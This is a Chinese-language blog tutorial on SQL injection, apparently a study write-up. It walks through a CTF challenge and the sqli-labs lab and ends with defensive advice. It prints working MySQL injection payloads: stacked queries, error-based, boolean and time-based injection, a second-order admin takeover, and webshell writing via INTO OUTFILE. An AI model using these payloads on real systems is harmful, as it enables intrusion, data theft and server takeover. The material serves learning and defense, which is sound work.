细究sql注入漏洞

sql是什么?

SQL(Structured Query Language)是一种用于管理关系型数据库系统的标准化语言。它是一种专门用于定义、操作和管理关系型数据库的语言,广泛应用于各种数据库管理系统(DBMS)中,如MySQL、Oracle、SQL Server、PostgreSQL等。
SQL允许用户通过使用预定义的命令和语法来执行各种数据库操作,包括创建、修改和删除数据库、创建和修改表格、插入、更新和删除数据、执行查询和排序等。它提供了一种简单而强大的方法来管理和操作存储在关系型数据库中的数据。
当然虽然 SQL 是一门 ANSI(American National Standards Institute 美国国家标准化组织)标准的计算机语言,但是仍然存在着多种不同版本的 SQL 语言。也就是说各个数据库管理软件mssql,mysql遵循sql标准却在自带的函数上面有不同的实现。今天以mysql起手探究sql注入。

sql注入怎么发生的?

执行sql语句时直接拼接参数或过滤不严谨

String sql = "SELECT * FROM users WHERE username = '" + usernameInput + "'";
sql = "SELECT * FROM customers WHERE id = " + str(id)
 $sql = "SELECT * FROM customers WHERE id = " . $id;

以上都是直接将参数拼接到sql语句中以 $sql = "SELECT * FROM customers WHERE id = " . $id;为例如果我输入’; '理论上这个sql语句就被我闭合了这样我就可以利用sql的堆叠输入特性任意执行sql语句如果操作空间过大还可能拿到webshell。

sql注入漏洞能做什么?

1,任意读取修改数据库内容

sql标准提供了完备的数据增删改查功能,以下是从sql文档找到的原话:
SQL 面向数据库执行查询
SQL 可从数据库取回数据
SQL 可在数据库中插入新的记录
SQL 可更新数据库中的数据
SQL 可从数据库删除记录
SQL 可创建新数据库
SQL 可在数据库中创建新表
SQL 可在数据库中创建存储过程
SQL 可在数据库中创建视图
SQL 可以设置表、存储过程和视图的权限
如果用户在数据库中存入了重要的账号密码可能会使系统受到更大的威胁。

2获取webshell

还记得我在上面写出来的么?虽然各个数据库管理软件遵循sql标准但是相对来讲各个数据库管理软件是作为sql的超集也就是说它们有自己独特的功能。虽然第一点看起来威胁已经足够大了但是以mysql为例mysql提供了大量的函数:
在知道数据库绝对路径以后检查secure_file_priv(SHOW VARIABLES LIKE ‘secure_file_priv’;)参数以后使用SELECT * FROM runoob_tbl INTO OUTFILE ‘/tmp/runoob.txt’;这样的语句将你的一句话木马写入对方服务器中拿到webshell。

3 绕过页面数据库验证

在sql中有个or如果恶意用户构造了 or 1=1这句话直接插入查询语句中无论如何都可以成功进入页面。

如何进行sql注入?

1,判断注入点类型
2,确认防火墙过滤的关键字
3,结合可用关键字和回显位置判断注入手

sql例题实战 --攻防世界supersqli

在这里插入图片描述
如图触发出防火墙只是过滤了关键字没有过滤符号可以使用内联绕过如:se/**/lect
在这里插入图片描述
提交以后无回显 判断为字符型注入
在这里插入图片描述
闭合单引号以后成功注入接下来就是正常的查表了
在这里插入图片描述
使用handle拿出flag

在这里插入图片描述
以下方法同样有效
1’;handler 1919810931114514 open as p;handler p read first;#
1’;set @sql = CONCAT(‘sele’,‘ct flag from 1919810931114514;’);
prepare stmt from @sql;
EXECUTE stmt;#
1’;alter tables words rename kkk;
alter tables 1919810931114514 rename words;
alter tables words change flag id varchar(100);#

尝试使用sqlmap辅助注入

这里使用sqli-labs靶场进行实验
如图sqlmap告诉我们这里存在sql注入漏洞以及注入的信息
在这里插入图片描述
爆出数据库
在这里插入图片描述
爆出表
在这里插入图片描述
爆段
在这里插入图片描述
获得字段的值
在这里插入图片描述

尝试使用sqlmap拿webshell

注意数据库要有写权限以及知道了路径才能写入shell
在这里插入图片描述

sql注入类型

1.字符型/数字型: 在前面攻防世界实战演示过这里不再赘述
2.报错注入:
1’ union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()2))as a from information_schema.tables group by a limit 0,10 --+
或者
1’ union select 1,2,3 from (select count(
),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

在这里插入图片描述
3.布尔注入
1’ and (ascii(substr((select database()) ,1,1))) = 115–+
在这里插入图片描述
4时间盲注
1’ and if(1=1, sleep(5), null)+ --+
在这里插入图片描述
5头部注入
同样的方法只不过换成了http头放置paylaod
6二次注入
在这里插入图片描述
在下面的注册界面注册admin’ or 1=1 #就可以在设置密码的时候将原来admin的密码改成自己设定的
在这里插入图片描述
修改完以后就可以使用原先的admin登录

sql注入的目的?

1,读取数据库内敏感信息,有机会的话可以使用load_file函数或其他类似的函数造成文件任意读从而扩大战果
2,上传马拿到webshell

如何防御sql注入?

1,使用参数化查询(Prepared Statements)或者绑定变量(Bound Parameters):这是最有效的防御SQL注入的方法之一。使用参数化查询或绑定变量可以确保用户输入的数据被视为数据参数,而不是SQL查询的一部分。数据库会将参数与查询语句分开处理,从而防止恶意输入修改查询逻辑。

2,验证和过滤输入:在接收用户输入之前,对输入数据进行验证和过滤。移除或编码特殊字符,如单引号、分号、注释符等。使用输入验证技术,如正则表达式验证、类型检查等,确保输入符合预期的格式和类型。

3,最小权限原则:数据库账户应该具有最小的权限,仅允许其执行必要的操作。不要使用具有过高权限的账户来执行普通查询操作,以减少潜在的危害。

4,对输入数据的转义:在将用户输入数据插入到SQL查询语句中之前,对特殊字符进行转义。这样可以确保特殊字符被正确地处理,而不会被解释为SQL代码。

5,使用安全的API和ORM框架:选择使用经过安全性验证和更新的数据库访问API和ORM(对象关系映射)框架。这些框架通常会处理好参数化查询和输入验证等安全性问题,减少了手动编码的风险。

6,日志记录和监控:定期检查和分析数据库日志,以及监控异常的查询行为。及时发现潜在的SQL注入攻击,并采取相应的措施。

7,定期更新和维护:保持数据库系统和相关软件的更新,并及时应用安全补丁。定期审查和修复已知的安全漏洞,以确保系统的安全性。

心得

通过学习了sql注入增加了外部打点的手段,同时学习了手法锻炼了实际操作的能力,在这几天的学习中收获满满。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值